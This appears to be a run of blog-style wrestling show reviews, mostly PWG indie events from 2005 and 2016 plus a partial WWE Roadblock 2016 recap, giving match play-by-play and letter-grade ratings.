A Go To Sleep connects but there is no referee again. A second referee slides in to count two before checking on the bloody original referee. Ryan and B-Boy fight to the floor (escape doesn’t matter in this match) with B-Boy getting the better of things by throwing Ryan into the chairs. A cheap shot slows B-Boy down but he gets in a low blow. A double stomp onto some chairs keep Ryan in trouble as they have been on the floor for a good while now.

Ryan is back with a low blow and they climb the side of the cage until Ryan elbows him down through the table at ringside. Back in and B-Boy fights back and puts Ryan on a ladder, setting up a top rope cutter for the double knockdown. A VERY delayed cover gets two so B-Boy puts Ryan’s head through the ladder rungs. With a chair over Ryan’s head, B-Boy goes to the top of the ladder and double stomps down onto the chair.

Since Ryan is done, Scott Lost runs in to beat down B-Boy, including a Vertebreaker onto the pile of chairs. B-Boy is up at two so here is Human Tornado to take out Lost. Scorpio Sky and Chris Bosh run in to beat on Tornado so Kevin Steen, Davey Richards and Excalibur run in to clear some of them out. Everyone fights at ringside and Tornado sets up a table in the ring.

Tornado goes up top but flip dives onto the pile at ringside instead of moonsaulting onto Ryan through the table. B-Boy goes up top for a Superfly Splash through Ryan through the table for two (with the fans popping BIG for the near fall). With both of them down, Jade Chung comes in but Candice LeRae is right there to take her out. Ryan sends LeRae into the cage so B-Boy hits him with a chair. Chung makes the save this time so B-Boy gives her a GTS. That’s enough for Ryan to pour something on a cloth to smother B-Boy and knock him out to retain the title at 34:47.

Rating: C-. I don’t often get to say this, but you could have easily cut half of this off and had a better match. This was A LOT of filler, plus all of the insanity at the end. It doesn’t help that Ryan isn’t very good in the ring and seems to be more about reputation than anything else. The brawling was good but I was checked out about halfway through and just wanting this to end. B-Boy was ok here but he didn’t exactly feel like a top star. Good enough match, though its flaws are really bad.

We’re off the air with the ring announcer only getting to AND STILL.

Overall Rating: B-. This show hit a nice stretch near the middle but the main event didn’t work and the first few matches weren’t exactly great. Maybe this is just too early in its history, but the show didn’t have me wanting to race out to see more PWG. While it certainly isn’t a bad show, there is almost nothing on here that blew me away. Maybe jumping ahead a bit will help, but this was closer to mediocre than good.

 

 

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Zombies Shouldn’t Run
Date: August 6, 2005
Location: Hollywood Los Feliz JCC, Los Angeles, California
Attendance: 300
Commentators: Disco Machine, Excalibur

It’s back to PWG as I continue my efforts to go through my pile of downloaded shows. This is a show from a rather long time ago but you are probably going to know a lot of the people on this show. That can make these shows that much more fun as I have no idea what to expect here. Let’s get to it.

Keep in mind that I know very little about the promotion so I’m sorry for missing any plot or character details.

Note that the DVD release has commentary but this is a digital download and unless I’m missing something really obvious, the commentary track is not available here.

We open with Hardkore Kidd (better known as Carlito’s enforcer Jesus in 2004) and his manager El Jefe in the ring for a chat. Kidd is glad to be back after a year away and welcomes us to Pro Wrestling Orangutan. Kidd reminds us that he is his hero, which it even says on his business card. He wants to face anyone tonight, even a tag team. Jefe tries to count it down in Spanish but can’t quite make that work. We’re clipped to someone answering his challenge and the match starting, possibly because of a music issue.

TJ Perkins vs. Hardkore Kidd

El Jefe is here with Kidd and Perkins hits a missile dropkick to start fast as we get the opening bell. A hurricanrana gets Perkins out of a powerbomb and he lays in the ropes, as is his custom. There’s the big suicide dive to the floor as Perkins already has a bloody nose. Back in and Perkins hits a top rope hurricanrana but gets caught with a gutbuster to put him in trouble. A Jeff Hardy double legdrop gives Kidd two and a top rope headbutt low blow has Perkins hurt in a different way.

The fans inquire about their pizza as this is suddenly an FBI match in ECW. Perkins is back up to put him in the Tree of Woe for a running basement dropkick. Kidd pounds him right back into the ropes, where Jefe gets in some choking like a good boss. There’s a side slam for two on Perkins but he kicks Jefe down and hits an inverted Swanton for two of his own. A rather complicated leglock has Kidd in trouble, only to have him reverse into a double arm crank.

With that let go, Kidd hits a tilt-a-whirl backbreaker as he seems to focus on the back more than anything else. Perkins gets out and sends him to the floor for a baseball slide into the chairs but Kidd is right back up. A Jefe cheap shot gives Kidd two back inside and it’s time to slap/chop it out. Kidd misses a charge into the corner and Perkins hits a heck of a springboard tornado DDT. A top rope hurricanrana is countered into a sitout powerbomb to give Kidd two but another slingshot headbutt it cut off by Perkins’ raised boots. Perkins adds a 450 for the pin at 10:46.

Rating: C. This was a rather indy match as it felt like one guy can do a move and then the other would shrug it off and do one of his own. That doesn’t make for the best match but they did get somewhere with Kidd working over the back most of the time. Perkins would get a lot better, though you could still feel a lot of the inexperience and indy style on him here.

Rocky Romero vs. Davey Richards

We get Big Match Intros and Romero is incorrectly identified as Ricky Reyes (another wrestler). You know that gets a YOU F***** UP chant, followed by a RICKY chant. Neither can hit a big kick to the head to start so they trade arm control instead. Romero gets the better of it but gets reversed into a cravate, which feels rather appropriate for a show like this.

We hit the test of strength, with Richards taking him down and the fans shouting MERCY. The grappling continues with Richards getting the better of things off of some headbutts. That doesn’t do much to Romero, who is right back with an anklescissors to slow Richards down a bit. Richards breaks that up and ties their legs together, setting up a rip at the face. Back up and they get a bit more serious (yes in a Davey Richards match), with Romero taking him down and kicking him between the shoulders.

The surfboard goes on for a bit, only to have Richards come back with a snap suplex. Richards grabs the chinlock but since that’s a bit boring, it’s another kick for another two. Another chinlock, this time with a knee in Romero’s back, doesn’t last long either as Romero is up and kicking away again. They do the big serious strike off with Romero getting the better of things but collapsing as well.

Romero hits running double knees off the apron to drop him again, setting up the slap off back inside. Something like an Octopus hold has Richards in trouble but he grabs the rope without much effort. That earns him a running kick to the chest and they’re both down again. Richards’ cross armbreaker sends Romero over to the ropes and it’s another double breather. A quick rollup gives Romero two and a hurricanrana is good for the same.

Richards is back with a tiger suplex for two more and, say it with me, they’re down again. Romero gets snapped down into a Fujiwara armbar but rolls his way to freedom. That’s fine with Richards so he’s right back with the Fujiwara, sending Romero straight back to the ropes. Back up and Romero grabs a guillotine choke, which is countered with kind of a suplex. The guillotine goes on again and Richards is count at 18:39.

Rating: B. It was definitely a match with the two of them working each other over until one of them was done, though they took their time getting there. At the same time, it felt like they were draining each others’ energy bars, which tends to be the case in a match like this. The good thing is that they did pull me into the struggle and that is the point of something like this. Hard hitting match, but very much the indy style if that makes sense.

Here are Excalibur, Ronin and Disco Machine for a chat. They are here because they are starts and want Kevin Steen to win the PWG World Title tonight. Steen is so focused on his match that it is time to bring in some extra help, which is apparently Ronin (or Hello Kitty according to the fans). On top of that, their scheduled opponents, Los Luchas, aren’t here tonight so cue So Cal Val to introduce their new opponents.

Ronin/Excalibur/Disco Machine vs. Gunning For Exciting Hookers

That would be Gunning For Hookers (Top Gun Talwar/Hook Bomberry) and Mr. Excitement. Before the match, Talwar takes off his thong (over his singlet) and throws it to the crowd. Talwar beats Hook in a game of Rock Paper Scissors to earn the right to start and seems to make various sexual gestures. For some reason Hook starts with Ronin instead, showing that Rock Paper Scissors is worthless around here (bunch of crazy people).

Hook takes Ronin into the corner and then takes him down as this is one sided so far. Back up and Ronin drives him into the corner for a heck of a chop, only to charge into some raised boots. That’s enough for Ronin to bail to the corner and it’s off to Talwar vs. Disco. The test of strength is teased but Disco seems worried about the Dangah Zone (as it says on Talwar’s singlet). The test doesn’t last long as Disco’s head winds up on Talwar’s chest, which shoves him away.

An exchange of headlocks doesn’t go anywhere so Disco takes him down into a rollup for two. Excalibur and Excitement come in for the third singles section of the match and they start with the forearm off. A spear down sets up some right hands to keep Excitement down so Talwar dives in for the save. Excalibur is sent outside and into a wall but is sine enough to send Excitement into it as well.

Something like a World’s Strongest Slam on the floor plants Excitement as Ronin beats up Talwar inside. Disco comes in for his gyrations (like a guy named Disco isn’t going to gyrate) before it’s back to Ronin for two off a snap suplex. We hit the reverse chinlock for a bit before Disco can come in for a kneeling cover. Ronin (draped in the HELLO KITTY chants) elbow Talwar but Hook comes in (sans tag) with a missile dropkick to put Ronin down.

The hot tag brings in Hook, who comes in with Excitement to start cleaning house. Everything breaks down until Hook starts hammering on Disco. Excalibur comes back in to German suplex Hook so it’s Excitement coming in to throw some (exciting) suplexes of his own. Excitement and Ronin slug it out with the latter getting the better of things, meaning Talwar has to make another save. Talwar powerbombs Ronin (prompting an exchange of swears) for two more before Disco chokebreakers Talwar for the pin at 16:41.

Rating: C. This was more long than it was good and that is not the best way to go. You can only get so much out of six people doing pretty basic stuff to each other until the ending and that was the case here. There were a few good enough moments, but I never got into it as Excalibur and Ronin (along with Hook) are just people with names and nothing but their clothes to make them stand out.

Post match Excalibur says Ronin proved himself and might be able to join the team. Excalibur is so impressed that he will NEVER call him Hello Kitty again.

Claudio Castagnoli vs. Joey Ryan

Ryan looks rather young and is billed as the Technical Wizard. On the other hand, Castagnoli is still a rich guy with hair and sideburns. Castagnoli takes him down without much trouble and grabs a headlock but Ryan switches into a wristlock. They fight over control of said wristlock before trading cravates with Castagnoli getting the better of things. Some rolling arm cranking has Ryan in trouble and Castagnoli spins around to work on the arm even more.

A rather delayed suplex (the fans eventually stop counting) drops Ryan again as this is one sided so far. Ryan finally gets in a shot of his own and chokes on the rope, setting up a suplex for two. More choking on the rope ensues and Ryan hits a neckbreaker onto the knee. A dropkick mostly connects to give Ryan two but a tornado DDT is countered into a pop up uppercut. The slugout goes to Castagnoli and he sends Ryan outside, setting up a running uppercut.

Back in and a top rope uppercut gives Castagnoli two but the Riccola Bomb is countered into a crossface chickenwing. Some rolling German suplexes into a fisherman’s suplex gives Ryan two and he’s a bit stunned at the kickout. Castagnoli is back with something like a reverse TKO but gets caught on top, with Ryan hitting a super swinging neckbreaker for two. Back up and some big uppercuts put Ryan on the floor, with Castagnoli shoving the referee away like a schnook. Ryan throws the powder in his eyes and it’s the crossface chickenwing for the tag at 14:16.

Rating: C+. The match was ok, but at the end of the day, Ryan just isn’t very good in the ring. I know the technical wizard thing seemed to be more of an evil joke but this was just another Ryan match: he can do the basics well enough, but there is nothing to him that makes me want to see anything he does. Castagnoli is very good as usual, though he didn’t have much to work with here.

Christopher Daniels vs. Chris Hero

Daniels is TNA X-Division Champion but this is non-title. Before the match, Daniels says he has just about had it with this company, because they are taking him for granted. Why isn’t HE getting a Heavyweight Title shot? Every month he comes into this oven that pretends to be an arena and face people like El Generico. Who is next? Davey Richards? Hook Bomberry? Daniels even remembers beating Hero before, so why are we doing this again?

Actually, what has anyone done to deserve a title shot? The free shots end right now, meaning this title isn’t on the line until someone shows they are worthy of his title. Hero grabs the mic and says excuse me Mr. Overpronounciation. He’s fine with proving himself here in a non-title match, as long as he gets a title shot once he wins here. Hero brags about his 93 minute match and promises to win here before winning the title next time.

We finally get to the bell and the fans seem rather split to start. Daniels hits the stall button and goes to stretch in the corner, as the fans aren’t as pleased with him as they just were. Daniels: “ARE YOU AGAINST STRETCHING??? Do you want me to pull a hamstring???” Hero stretches and the referee asks him if he’s ready. Hero: “What would you do if I said no?” An early (as in two minutes in) armdrag takes Daniels down, with a fan telling Hero to watch the hair.

More armdrags have Daniels frustrated and it’s time for another standoff. Three more armdrags send Daniels bailing out to the floor as they’re doing a nice job of building so far. Back in and Hero cravates him down into a wristlock, sending Daniels over to the ropes. A hair pull gets Daniels out of another wristlock so Hero tops it with a top wristlock instead. Again that means a shout of a hair pull from Daniels, which actually has the referee admonishing Hero.

This time it’s Daniels trying an armdrag but getting countered into a cravate instead. Some cradles give Hero two each and we’re right back to the armbar. Hero tosses him over the top and out to the floor in a big crash, setting up a slightly bigger dive. Back in and Hero changes things up a bit with a tilt-a-whirl backbreaker, only to get neckbreakered across the top to put Daniels in control for the first time.

A basement dropkick gives Daniels two and an elbow to the face gets one, making me wonder how absorbing punishment works around here. Back up and Hero hits a quick dropkick, only to get taken down by a neckbreaker. Frustration is starting to set in so Daniels grabs a chinlock to blow some off. With that not working, Daniels grabs a Crossface, again sending hero over to the ropes.

Speaking of the ropes, Daniels puts him on top, only to get shoved down. Hero nails the top rope dropkick and they’re both down for a needed breather. The comeback is on with Hero striking away and snapping off a powerslam for two. Daniels is right back up with a Death Valley Driver but Hero gets his foot on the rope….which Daniels shoves away so the referee counts the pin at 18:56.

Rating: B. I wasn’t wild on the ending, but it does open up the door for a rematch while keeping Hero looking strong. This took its time and was telling a story of Daniels trying to break Hero down but not being able to finish him while Hero took his time and kept amping up his offense throughout. I dug this one and you can see what people liked about Hero so much here.

Super Dragon vs. Quicksilver

Dragon takes him down and starts working on the leg, which is broken up rather quickly. That’s fine with Dragon, who takes it to the mat to pull on the neck and leg at the same time. They go to the exchange of front facelocks until Dragon gets back to the leg. Quicksilver’s arm crank is countered into Dragon kicking him in the head as this is pretty one sided so far. A headlock takeover drops Quicksilver again, giving them a not exactly well earned round of applause.

Quicksilver gets a headscissors as this is a rather slow technical off to start. Back up and Dragon is sent to the floor for a huge dive, leaving fans wondering if the two of them would like Cheetos. They get back inside (Dragon and Quicksilver, not the fans) with Quicksilver knocking Dragon down for two and then seeming to slowly kick dirt on him.

Something like a Phenomenal Forearm is slapped out of the air and Dragon strikes away in the corner. Quicksilver is sent outside for a beating from Dragon, including a rather hard posting. Back in and a figure four necklock keeps Quicksilver in trouble but he manages to lose a slugout. Dragon starts cranking on the leg before switching to a full nelson with the legs. After cranking away, Dragon sends him outside again, only to follow him with a headlock instead of a dive.

Back in and Dragon stands on Quicksilver’s crotch in the Tree of Woe, followed by a not so great Figure Four. A grab of the rope breaks that up and Quicksilver gets in a shot of his own for the double knockdown (they like those around here), setting up a falling forward cutter for two on Dragon. The springboard clothesline gets the same as the comeback is at full speed. Quicksilver puts Dragon on top but gets shoved down, setting up a heck of a top rope backsplash for two.

A tiger suplex gets the same and it’s another double knockdown. This time it’s Quicksilver sending him into the middle buckle and a headscissors driver out of the corner (that looked nasty) for a rather near fall as this keeps going. With nothing else working, Quicksilver takes him to the apron for a top rope sunset bomb out to the floor, leaving them both down again.

Dragon is out so Quicksilver slaps him a few times and takes it back inside…for two. They fight up top with Quicksilver grabbing a Black Widow up there, which is reversed into a heck of a super backbreaker for another near fall as this is getting a good bit ridiculous. A Razor’s Edge flipped down into a piledriver is finally enough to finish Quicksilver at 24:41.

Rating: B-. I really, really could have gone for the commentary here as it felt like a match with a big story behind it. This felt like two people who hated each other getting their chance to beat the fire out of each other. It only worked to a certain degree as the match went too long and the kickouts were pretty ridiculous by the end. I got the emotion, but the details (which were probably recorded on a track I can’t get) would have helped it a lot.

Here is So Cal Val, apparently the commissioner, who says we need a co-commissioner around here to deal with Joey Ryan. This brings out Dino Winwood (a large man in a white coat whose name I had to find elsewhere as his entrance, and name, are cut off), but here is Ryan to lay him out. The piledriver is broken up though and Winwood hits a Death Valley Driver. Winwood promises to not be your normal commissioner and poses with Val.

Tag Team Titles: Arrogance vs. Two Skinny Black Guys

That would be Chris Bosh/Scott Lost vs. El Generico/Human Tornado and the titles are vacant coming in. Before the match, Arrogance seems to hold a raffle for some boots, won by a rather large fan. With that out of the way, Bosh explains that Lost lost the Tag Team Titles last month because a certain woman wore him out. Tornado and Generico are given the chance to walk away now but then get jumped to start fast.

Stereo dropkicks put Arrogance on the floor, allowing Generico to tease a dive before landing back inside. We officially start with Generico armdragging Lost a few times, with the third going into an armbar. Tornado comes in for a hurricanrana into the corner and an enziguri connects for two. It’s already back to Generico, who gets to chop Bosh for a change. The diez punches in the corner look to set up the Helluva Kick but Bosh gets a fist up for a well placed low blow.

A dancing fist drop lets Lost come back in and grab a chinlock, followed by Bosh grabbing one of his own. Generico punches back up but Lost trips him from the floor before that can get anywhere. In case that wasn’t enough, Bosh whips Generico through the chairs and rams his head into the wall over and over. Then he breaks the count and does it again for a bonus. Back in and Lost misses a heck of a charge into the post, allowing Bosh to miss a charge so Tornado can get the hot tag.

A bigger than expected Pounce drops Lost and Generico adds a moonsault as Lost is caught in the ropes. There’s the big dive to take Bosh down again and Tornado adds a heck of a dive of his own. Back up and Generico gets posted, leaving Tornado to hit a reverse DDT onto the knee to drop Bosh. Tornado dives into a backbreaker though and Lost comes off the top…with an umbrella for an elbow drop.

Lost grabs a double Sharpshooter of all things, which is kicked away due to reasons of that can’t last long. Generico and Bosh go up, with Generico backflipping out of a superbomb and hitting the Helluva Kick. Lost blocks the tornado DDT though and it’s a northern lights suplex into a backbreaker for two more, with Tornado making the save this time. One heck of an implant DDT drops Lost but Bosh makes another save. Generico suplexes Bosh into a sitout powerbomb and everyone is down again. Back up and Tornado suplexes Lost, setting up the brainbuster to give Generico the pin and the titles at 16:47.

Rating: B. This did a better job of building things up, though the ending could have been better. What mattered here was having Generico and Tornado hang in there against the more established team and come away with the titles anyway, which told a nice story. It’s no classic, but Generico and Tornado should make for some fun champions.

PWG World Title: AJ Styles vs. Kevin Steen

Styles is defending and Steen is better known as Kevin Owens. Steen wastes no time in hammering away to start and the trash talk is on in a hurry. Some slow kicks take too long though and Styles knocks him to the floor for the big dive. Styles forearms away on the floor, setting up the drop down into the dropkick back inside. Steen has to fight out of a chinlock, meaning Styles reverses it into a headlock for a change.

A Muta Lock makes it even worse for Steen before it’s off to a regular leglock. Back up and Steen cuts him off in the corner, setting up a quick choke on the ropes. Steen hammers on the back in a variety of ways before getting back to the choking. A neckbreaker gets two but Styles nips up into a hurricanrana. That just means a drop toehold from Steen, setting up the running flip legdrop.

The fans get into a MR. WRESTLING (Steen’s nickname)/IS OVERRATED dueling chant as Steen chokes in the corner again. Styles manages a springboard moonsault into the reverse DDT and it’s time to chop it out on the floor. Back in and a belly to back suplex gets two on Steen, who is right back with something like a Samoan drop.

This time it’s Styles grabbing a neckbreaker for two more before going up top, but Steen pulls the referee onto him to bock a 450. Steen is back with a fireman’s carry gutbuster into a moonsault for two but Styles Peles him on top. The Styles Clash is loaded up, only to have Steen reverse into a cradle with a grab of the rope for the pin and the title at 19:00.

Rating: B. Another good one here, though the ending felt a bit rushed this time. The good thing is Styles could get a solid match out of anyone, with Steen being more than capable of doing the same. The title change felt big, as Steen cheating to get the title is the right way to go for him. Styles is on to bigger and better things in TNA so letting Steen get the nice rub here is as good of a way as you can go. Nice main event, though I don’t know if it was bigger than the rest of the card, which isn’t a good feeling.

The show ends less than ten seconds after the bell.

Overall Rating: B+. This took some time to get going but the solid action in the bigger matches was more than enough to carry things. You can tell that the promotion is still at the point where it is getting hot and there are already things going on to make it feel important. It’s definitely giving off more of a fun vibe and while commentary would have helped, I got enough of the idea to have some fun here. Good show, and I’m glad I have a large stack of the DVDs/downloads to go through.

 

 

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Roadblock: End of the Line
Date: December 18, 2016
Location: PPG Paints Arena, Pittsburgh, Pennsylvania
Commentators: Michael Cole, Byron Saxton, Corey Graves

Pre-Show: Rusev vs. Big Cass

Back with Cass hammering away and dropping the Empire Elbow for no cover. They head outside Rusev taking him out into the crowd, leaving Enzo to go after Lana. Rusev defends his wife while Cass checks on Enzo, leaving Rusev to beat the count at 4:33. Not enough for a rating but this was rematch bait.

The opening video has a police chase theme with the idea being that everything ends at the end of the line.

Tag Team Titles: New Day vs. Cesaro/Sheamus

The slingshot shoulder gets two on Kingston and Swiss Death is good for the same. This has been completely one sided so far. Kofi breaks up the ten forearms and brings in Big E. for the spear off the apron. The Warrior Splash gets two on Sheamus and everything breaks down. Sheamus kicks Cesaro by mistake and Woods kicks Cesaro by design, setting up the Big Ending for a very close two.

Woods sacrifices himself to take the Brogue Kick and the SOS gets two on Sheamus. Cesaro comes in without a tag (though Sheamus was right next to him), meaning Kofi kicks Cesaro for no count. Instead Sheamus sneaks in and rolls Kofi up for the pin and the titles at 10:00.

New Day gets the big show of respect and we get the battle for the spotlight from the new champs.

Sami Zayn vs. Braun Strowman

Package on the UK tournament.

We recap Chris Jericho vs. Seth Rollins. Jericho lost to Rollins several times but then started costing Rollins matches against Owens. This earned Jericho a Pedigree on top of a car and that means a match.

Seth Rollins vs. Chris Jericho

Rollins tries the Pedigree but Jericho powers out and gets in a hurricanrana, which transitions into the Walls. Seth counters that with a small package for two, followed by the frog splash. Cue Owens for a distraction, just as Jericho grabs a small package. The Pedigree is countered again but Jericho stops to yell at Owens, allowing Seth to get in the jumping knee. Rollins gets the Pedigree for the pin at 17:12.

Pre-show recap. Cass vs. Rusev II is set for tomorrow night.

Cruiserweight Title: Brian Kendrick vs. TJ Perkins vs. Rich Swann

Post match Neville makes his return to celebrate with Swann before turning heel (!) and destroying all three. Fans: “THANK YOU NEVILLE!” I can totally go for this, though the idea that Neville weighs under 205lbs is downright laughable.

We recap Owens vs. Reigns. Roman beat him a few weeks ago to earn another shot here tonight but the big story is about the drama between Jericho and Owens.

Universal Title: Kevin Owens vs. Roman Reigns

Rating: B. Good, though the waiting for Jericho took a little away from it. Unfortunately this shows the problem with Reigns being US Champion coming into this match: what good does it do to tie the title up in this match with no challenger for the title in sight? Yeah Owens vs. Jericho will be fine but sweet goodness enough with the champion vs. champion nonsense.

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Release The Kraken
Date: January 9, 2016
Location: Oak Street Gym, Torrence, California
Commentators: Christian Cole, Todd Keneley

This is one of the final DVDs I got in the set that I got and as luck would have it, the final two are both from the same company. That would be Pacific Coast Wrestling, an independent company from California and this is their very first event. I know a fair deal of the names listed so maybe we’ve got something good here. Let’s get to it.

The hosts (including Keneley, who formerly did Impact commentary) welcome us to the show and run down some of the card, including a lights out match. How much of a feud can you have in the debut?

Opening sequence, presumably featuring highlights from the show we’re about to see. Kind of odd but they have to start with something.

Joe Graves vs. Timothy Thatcher

Thatcher is a somewhat well known submission master and comes out to what would become Walter’s music in NXT UK. Apparently Thatcher is replacing someone named Rick Luxury, which would seem to be an upgrade. They grapple to start with the referee breaking it up against the ropes. Nice to see someone doing his job for a change. Graves can’t get control of the leg so Thatcher escapes a chinlock for an early standoff.

We hit the grappling again with Thatcher taking him down and going for the arm. Graves finally tries something different with a chop to the back but Thatcher is right back with a headlock on the mat. The Fujiwara armbar attempt is blocked as it’s all grappling so far. Graves gets in a suplex and this time it’s Thatcher escaping an armbar, setting up a right hand to Graves’ head.

Thatcher stays on the arm and bends the fingers back before switching into a leglock. Graves has finally had it with this and starts throwing forearms to the head. A cross armbreaker doesn’t work either so Graves snaps off another suplex. Thatcher throws him down by the arm though and it’s a Fujiwara armbar to make Graves tap at 8:31.

Rating: B-. This one is going to entirely depend on your taste as the grappling was rather impressive and they did mention a history between the two, meaning that we’re likely to see a rematch down the line. At the same time here though, the match didn’t feel like it was building towards anything and just ended out of nowhere. It was entertaining, but felt more like a grappling display than a match.

Here’s an attorney named MK, who isn’t on the format sheet. He demands respect and silence, though he promises to speak slowly so these California wrestling fans can understand him. MK represents the Almighty Sheik, who will be facing MVP in the main event. Promoters and promotions fear the Sheik, which is why his match is not being sanctioned. Sheik has held World Titles while MVP has been held with handcuffs.

MVP is nothing more than a common street criminal, so cue MVP to respond. He insults MK’s clothing and steals his line about speaking slowly. Yes MVP is an ex-con but he’s turned things around since then, including winning titles and kicked out of the Undertaker’s chokeslam. Kane set him on fire, so why would he be scared of the Sheik? MK says in Sheik’s country, MVP is Sheik’s b****. MVP lays him out with a shot to the face and gives him a World’s Strongest Slam to set up the Ballin Elbow but MK bails. This was as fillerish as you could get, though I can understand helping to build up the first main event a bit.

At some point around here (not sure if before or after the promo), there was a second match with Chris Evans defeating Johnny Savoi. Not sure why that was cut but it’s not like the DVD was all that long in the first place. It’s not listed on the DVD case either so I guess it was a dark match on a six match show.

Classic Connection vs. Keepers of the Faith

The Connection (Levi Shapiro/Buddy Royal) has a masked manager named Fat Dick Johnson, who speaks in a weird country accent and talks about bringing their own tag ropes. Later, the Connection would get a new manager in the form of Brian Zane of Wrestling With Wregret fame.

Before the Keepers come out, Johnson talks about how they have tag ropes because they’re old school. He doesn’t like the Keepers, because one of them “looks like a retarded Steiner Brother” and the other would have to get smarter just to be stupid. The Keepers (Dom Vitali/Gabriel Gallo) finally cut him off and we’re ready to go, despite a lack of an explanation of what kind of faith they are keeping. Gallows does seem to be a bit Rick Steinerish as Vitali has to pull him back by the chain around his neck (though Vitali has one of his own).

The Connection stalls on the floor for a good while as we wait around on an opening bell. We can’t get an opening bell yet either as we get a weapons check and then an argument over who should start. Eventually it’s Royal vs. Gallo to start with Royal being smart enough to kick Gallo in the ribs instead of trying a test of strength. Royal tries a suplex and slam, both of which are reversed into the real thing by the much stronger Gallo. Shapiro comes in and is knocked outside with a single shoulder.

The Connection takes a breather on the floor until Shapiro comes back in to continue the action fest. Gallo slams him down so it’s off to Vitali for two, followed by Gallo coming right back in. A missed charge gives Shapiro a breather but Vitali comes in for a Death Valley Driver. Vitali misses a moonsault but gets two anyway, followed by diving onto Royal for a bonus.

Back in and Johnson trips Vitali from the floor so Shapiro can finally get in some offense. The Connection starts stomping away in the corner with Johnson adding some choking for a bonus. A dropkick to the knee lets Shapiro hammer away and Royal’s running knee in the corner gets two. The triangle choke goes on for a bit, followed by a clothesline to cut off Vitali’s comeback bid.

We hit the front facelock to keep Vitali in trouble and it’s Royal jumping over Shapiro to land on Vitali’s back, albeit in the corner instead of on the ropes for a little change. Vitali finally explodes out of the corner with a clothesline and the hot tag brings in Gallo to clean house. Everything breaks down and Vitali spears Royal, leaving Gallo to clothesline Shapiro for two….as the referee realizes that Shapiro isn’t legal. The melee lets Johnson get in a cane shot to Gallo to give Royal the pin at 13:58.

Rating: C-. It might not have been the quality of the first but this was a bit more entertaining with the old school tag formula. That being said, it was longer than it needed to be and Johnson’s stuff got a little annoying in a hurry. I can always go for an old school tag match though and the Connection worked well in the Midnight Express knockoff roles.

The Sheik knows MVP and lists off some of the places the two of them have worked over the years. They’ve never fought before though and in this case, the headlines are already out about the two of them facing off. This will not be a wrestling match or catch as catch can. Unpredictable times call for a reliable friend, which seems to be Sheik’s trusty spike.

JR Kratos vs. Dylan Drake

Kratos was part of GFW’s Amped tapings. Drake on the other hand comes out in a Ric Flair style robe and seems to have retired from wrestling since this was taped. Drake’s running boot before the bell is shrugged off as Kratos sends him outside for an early breather. Back in and Kratos hits a fireman’s carry takeover, which sends Drake bailing to the floor again.

Back in and again and Kratos easily takes him down again as the grappling can begin. Drake’s triangle choke doesn’t work so well as Kratos powerbombs him down for two instead. Drake gets smart with a rake of the eyes and wraps Kratos’ leg around the post for his first advantage. The leglock goes on, followed by a legdrop to the leg for a bonus (the Ric Flair robe might have been more appropriate than I thought).

It’s another leglock to hold Kratos in place for a bit, though the leg is fine enough to whip Drake hard into the corner. A crotching against the post makes it even worse for Drake and a running (good) knee to the side of the head knocks him silly. Back in and Kratos gets two off a dropkick, with the knee pain inspired delay meaning the cover only gets two. Or the fact that it was just a dropkick.

Drake flips him off out of general stupidity so Kratos hits a powerslam and wheelbarrow suplex for two more. Drake’s powerbomb onto the knee gets two, even with feet on the ropes. That’s shrugged off and it’s a chokeslam into a sitout powerbomb (the Game Changer) for the pin on Drake at 11:39.

Rating: D+. Kratos looked good here but the match just kind of kept going until it got to an ending. Drake was nothing memorable in the slightest and was working a bit of an old school style without the energy or emotion that would make it feel special. Boring match here, though Kratos could be worth something against a better opponent.

Scorpio Sky vs. TJ Perkins

Sky takes over with a wristlock so Perkins spins around into one of his own. How wrestling of him. A dropkick lets Perkins nip up so Sky (bald of course) claims a hair pull. That joke always makes me chuckle. Sky takes over and stomps away, only to get headscissored right back down. A grab of the leg gets Sky out of trouble as the announcers talk about Sky’s recent success in mixed martial arts. Another headscissors gets TJ out of trouble and it’s a basement dropkick so Perkins can pose a bit.

Sky is back up to kick Perkins outside, then sends him inside, then sends him outside again. Does it seem like they’re just killing time here? I mean it’s clear that they are, but I didn’t know how well it was coming through. Back in and a backbreaker drops Perkins again, followed by a backbreaker to keep up the variety. A hard whip into the corner stays on the back but it’s too early for what looked like a Sharpshooter.

Perkins snaps the arm ala Pentagon Jr. and the comeback is on, somehow with Perkins as the face it seems. Who looks at him and sees a face? Sky gets in a knee, stops to glare at the camera, and hits another backbreaker. At least this time he bends Perkins’ back over a knee to mix it up a bit. We hit the camel clutch but since that’s a bit too thrilling, it’s another knee to the back and a chinlock to tone it down a bit. That gives the announcers the chance to talk about Sky coming to the show straight from his grandmother’s funeral. You know, just to perk things up a bit.

Perkins fights up and hits a dropkick but it’s a hard looking collision for a double knockdown. Back up and Perkins hits a Regal Roll into a standing corkscrew splash. Perkins takes his time going up so Sky can block a sunset bomb. Sky’s victory roll and knee to the face get two each, followed by another double knockdown. Sky is up first and hits a nasty looking German suplex into the corner but another knee hits buckle. The suplex into the corner is shrugged off in ten seconds so Perkins can hit a springboard missile dropkick to the back, meaning it’s a rollup for two.

Perkins’ frog splash hits knees to give Sky his own two and they’re both spent. They slug it out until Sky hits a great looking jumping knee to the head….for two. That should have been the finish (about the fifth so far). The yet to be named Detonation Kick sets up another armbreaker from Perkins but Sky stacks it up for the break. That’s it for Sky, who hits the Ace of Spades (TKO) and the Big Fat Kill (running knee to the face) to finish Perkins at 22:15.

Rating: B-. They were going for the epic here but it was more long than great. That being said, it was the best match of the night and probably the match the promotion is going to point to in their early days. That’s understandable in this case too as they had a long, rather good match, which needed about three minutes clipped off to really make it work as intended.

MVP is here to grapple because he loves wrestling. Then he found out he’s facing the Sheik, who likes to harm people instead of wrestling them. Maybe Sheik has seen everything MVP has done and owns and thinks he’s gone soft. Yeah maybe his success has gotten to him a bit, but the threat of someone trying to take it all away from him fires him up again. MVP takes off the jewelry and says it’s not going to be the MVP who made Shinsuke Nakamura tap or the MVP who beat Chris Benoit two straight falls.

It’s going to be the MVP from the ghetto of Miami and who spent nine and a half years in prison. Sheik is going to get to see the real MVP, who has seen and survived all kinds of things that Sheik can’t imagine. I’m not big on MVP for the most part, but this was very good and made MVP seem like a threat with star power.

MVP vs. Almighty Sheik

Anything goes. Sheik (better known (I think) as Josef Samael in MLW) starts throwing chairs into the ring before MVP comes out and is flanked by MK. Hang on though (of course) as Sheik swings a chair to keep MVP on the floor. Let’s throw in some Big Match Intros, allowing the commentator to say that Republicans are throwing things at their TVs because a Syrian wrestler is getting this much time.

